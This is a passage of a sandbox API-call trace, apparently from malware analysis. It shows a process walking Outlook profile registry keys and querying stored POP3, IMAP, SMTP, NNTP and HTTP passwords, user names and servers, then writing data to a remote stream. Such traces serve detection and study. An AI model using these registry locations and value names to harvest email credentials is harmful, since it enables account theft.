lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.498] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.498] RegCloseKey (hKey=0x930) returned 0x0 [0096.498] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.498] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.498] RegCloseKey (hKey=0x930) returned 0x0 [0096.498] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.498] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.498] RegCloseKey (hKey=0x930) returned 0x0 [0096.498] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.498] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.498] RegCloseKey (hKey=0x930) returned 0x0 [0096.498] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.499] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.499] RegCloseKey (hKey=0x930) returned 0x0 [0096.499] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.499] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.499] RegCloseKey (hKey=0x930) returned 0x0 [0096.499] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.499] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.499] RegCloseKey (hKey=0x930) returned 0x0 [0096.499] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.499] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.499] RegCloseKey (hKey=0x930) returned 0x0 [0096.499] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.499] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.499] RegCloseKey (hKey=0x930) returned 0x0 [0096.499] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.499] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.499] RegCloseKey (hKey=0x930) returned 0x0 [0096.499] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.500] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.500] RegCloseKey (hKey=0x930) returned 0x0 [0096.500] LocalReAlloc (hMem=0x4434da0, uBytes=0x60, uFlags=0x2) returned 0x4434da0 [0096.500] ISequentialStream:RemoteWrite (in: This=0x43cf6f0, pv=0x4434da0*=0x53, cb=0x56, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0096.500] LocalFree (hMem=0x4434da0) returned 0x0 [0096.500] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", phkResult=0x54de440 | out: phkResult=0x54de440*=0x930) returned 0x0 [0096.500] RegEnumKeyExA (in: hKey=0x930, dwIndex=0x0, lpName=0x54de450, lpcchName=0x54dec78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dec78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.500] RegCloseKey (hKey=0x930) returned 0x0 [0096.500] LocalFree (hMem=0x4472930) returned 0x0 [0096.500] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x2, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.500] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0096.500] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x4472930 [0096.500] wsprintfA (in: param_1=0x4472930, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003") returned 97 [0096.500] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.500] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.500] RegCloseKey (hKey=0x930) returned 0x0 [0096.500] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.500] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.500] RegCloseKey (hKey=0x930) returned 0x0 [0096.500] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.501] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.501] RegCloseKey (hKey=0x930) returned 0x0 [0096.501] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.501] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.501] RegCloseKey (hKey=0x930) returned 0x0 [0096.501] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.501] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.501] RegCloseKey (hKey=0x930) returned 0x0 [0096.501] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.501] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.501] RegCloseKey (hKey=0x930) returned 0x0 [0096.501] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.501] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.501] RegCloseKey (hKey=0x930) returned 0x0 [0096.501] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.501] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.501] RegCloseKey (hKey=0x930) returned 0x0 [0096.501] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.502] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.502] RegCloseKey (hKey=0x930) returned 0x0 [0096.502] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.502] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.502] RegCloseKey (hKey=0x930) returned 0x0 [0096.502] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.502] RegQueryValueExA (in: hKey=0x930, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.502] RegCloseKey (hKey=0x930) returned 0x0 [0096.502] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.502] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.502] RegCloseKey (hKey=0x930) returned 0x0 [0096.502] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.502] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.502] RegCloseKey (hKey=0x930) returned 0x0 [0096.502] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.502] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.502] RegCloseKey (hKey=0x930) returned 0x0 [0096.503] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.503] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.503] RegCloseKey (hKey=0x930) returned 0x0 [0096.503] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.503] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.512] RegCloseKey (hKey=0x930) returned 0x0 [0096.512] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.513] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.513] RegCloseKey (hKey=0x930) returned 0x0 [0096.513] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.513] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.513] RegCloseKey (hKey=0x930) returned 0x0 [0096.513] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.513] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.513] RegCloseKey (hKey=0x930) returned 0x0 [0096.513] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.513] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.513] RegCloseKey (hKey=0x930) returned 0x0 [0096.513] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.513] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.513] RegCloseKey (hKey=0x930) returned 0x0 [0096.513] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.514] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.514] RegCloseKey (hKey=0x930) returned 0x0 [0096.514] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.514] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.514] RegCloseKey (hKey=0x930) returned 0x0 [0096.514] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.514] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.514] RegCloseKey (hKey=0x930) returned 0x0 [0096.514] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.514] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.514] RegCloseKey (hKey=0x930) returned 0x0 [0096.514] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.514] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.514] RegCloseKey (hKey=0x930) returned 0x0 [0096.514] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.514] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.514] RegCloseKey (hKey=0x930) returned 0x0 [0096.514] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.515] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.515] RegCloseKey (hKey=0x930) returned 0x0 [0096.515] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.515] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.515] RegCloseKey (hKey=0x930) returned 0x0 [0096.515] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.515] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.515] RegCloseKey (hKey=0x930) returned 0x0 [0096.515] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.515] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.515] RegCloseKey (hKey=0x930) returned 0x0 [0096.515] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.515] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.515] RegCloseKey (hKey=0x930) returned 0x0 [0096.515] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.515] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, 